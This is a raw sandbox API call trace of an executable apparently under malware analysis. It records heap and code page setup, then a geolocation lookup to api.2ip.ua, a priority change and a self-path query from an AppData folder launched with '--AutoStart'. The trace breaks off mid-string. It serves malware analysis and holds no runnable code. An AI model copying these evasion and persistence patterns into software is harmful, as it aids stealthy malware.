[0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x52) returned 0xdbfcd0 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x2a) returned 0xdbafc8 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3c) returned 0xd26bb0 [0100.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x54) returned 0xdc0fd8 [0100.216] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x24) returned 0xdba800 [0100.216] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x30) returned 0xdbb000 [0100.216] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x8c) returned 0xdbfd30 [0100.216] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdbfe90 | out: hHeap=0xd10000) returned 1 [0100.216] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x80) returned 0xdbfdc8 [0100.216] GetLastError () returned 0x0 [0100.216] SetLastError (dwErrCode=0x0) [0100.216] GetLastError () returned 0x0 [0100.216] SetLastError (dwErrCode=0x0) [0100.216] GetLastError () returned 0x0 [0100.216] SetLastError (dwErrCode=0x0) [0100.216] GetACP () returned 0x4e4 [0100.216] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x220) returned 0xdb0ac0 [0100.216] GetLastError () returned 0x0 [0100.216] SetLastError (dwErrCode=0x0) [0100.217] IsValidCodePage (CodePage=0x4e4) returned 1 [0100.217] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fd9c | out: lpCPInfo=0x18fd9c) returned 1 [0100.217] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f864 | out: lpCPInfo=0x18f864) returned 1 [0100.217] GetLastError () returned 0x0 [0100.217] SetLastError (dwErrCode=0x0) [0100.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x18f5e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0100.217] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f878 | out: lpCharType=0x18f878) returned 1 [0100.217] GetLastError () returned 0x0 [0100.217] SetLastError (dwErrCode=0x0) [0100.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x18f5b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0100.217] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0100.217] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f3a8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0100.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fb78, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb9\x55\xa3\xf8\xb4\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0100.217] GetLastError () returned 0x0 [0100.217] SetLastError (dwErrCode=0x0) [0100.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.217] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x18f5c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0100.217] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0100.217] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f3b8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0100.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb9\x55\xa3\xf8\xb4\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0100.217] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0100.217] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x800) returned 0xdbfe50 [0100.217] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x4091c1 [0100.218] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xdbfdc8) returned 0x80 [0100.218] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xdbfdc8) returned 0x80 [0100.218] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xdbfdc8) returned 0x80 [0100.218] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xdbfdc8) returned 0x80 [0100.218] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x110) returned 0xdc0658 [0100.218] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xdbfdc8) returned 0x80 [0100.219] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x10) returned 0xdbd5a8 [0100.219] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xdbfdc8) returned 0x80 [0100.219] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xdbfdc8) returned 0x80 [0100.219] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xdbfdc8) returned 0x80 [0100.220] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xdbfdc8) returned 0x80 [0100.221] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0100.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0xd26f10 [0100.372] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0114.177] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18c078, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18e878 | out: lpBuffer=0x18c078*, lpdwNumberOfBytesRead=0x18e878*=0x1d1) returned 1 [0114.178] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0114.180] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0114.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0xdcae70 [0114.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1e0) returned 0xdf3a20 [0114.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3a20 | out: hHeap=0xd10000) returned 1 [0114.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcae70 | out: hHeap=0xd10000) returned 1 [0114.180] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xd26f10 | out: hHeap=0xd10000) returned 1 [0114.180] GetCurrentProcess () returned 0xffffffff [0114.180] GetLastError () returned 0x2 [0114.180] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0114.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x10) returned 0xdef320 [0114.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x110) returned 0xdf8730 [0114.180] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x3961588 [0114.180] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3961588, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe")) returned 0x89 [0114.181] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e") returned 1 [0114.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x3961d90 [0114.181] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart" [0114.181] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart", pNumArgs=0x18e958 | out: pNumArgs=0x18e958) returned 0x391ab00*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0114.181] lstrcpyW (in: lpString1=0x18f608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS 